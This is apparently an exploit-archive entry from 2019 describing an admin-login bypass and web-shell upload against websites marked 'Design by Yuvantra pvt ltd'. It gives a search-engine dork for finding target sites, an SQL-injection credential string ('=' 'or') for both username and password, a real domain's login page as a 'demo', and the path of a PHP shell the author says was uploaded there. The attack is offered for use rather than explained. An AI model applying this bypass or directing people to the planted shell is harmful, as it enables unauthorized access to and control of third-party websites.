Design by Yuvantra pvt ltd bypass admin panel and upload shell

2019.09.08

Zaen (ID)

Risk: Medium

Local: No

Remote: Yes

CVE: [+] Exploit title : "Design by Yuvantra pvt ltd"

CWE: N/A

Dork: "Design by Yuvantra pvt ltd"

Poc:
[+] you can dorking on google or other search engine
[+] dork "Design by Yuvantra pvt ltd" and use your brain :)
[+] admin page : localhost:8080/login
[+] user : '=' 'or'
Pass: '=' 'or'
[+] you can login dashboard, and whatever..
[+] demo:
http://www.yuvantra.com/login
Shell uploaded :
http://www.yuvantra.com/uploads/students/zaen_umi.php

References:

Greets: Purworejo6etar and Baku Hantam Crew

See this note in RAW Version

Vote for this issue:

20%

80%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Design by Yuvantra pvt ltd bypass admin panel and upload shell

Dork: "Design by Yuvantra pvt ltd"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.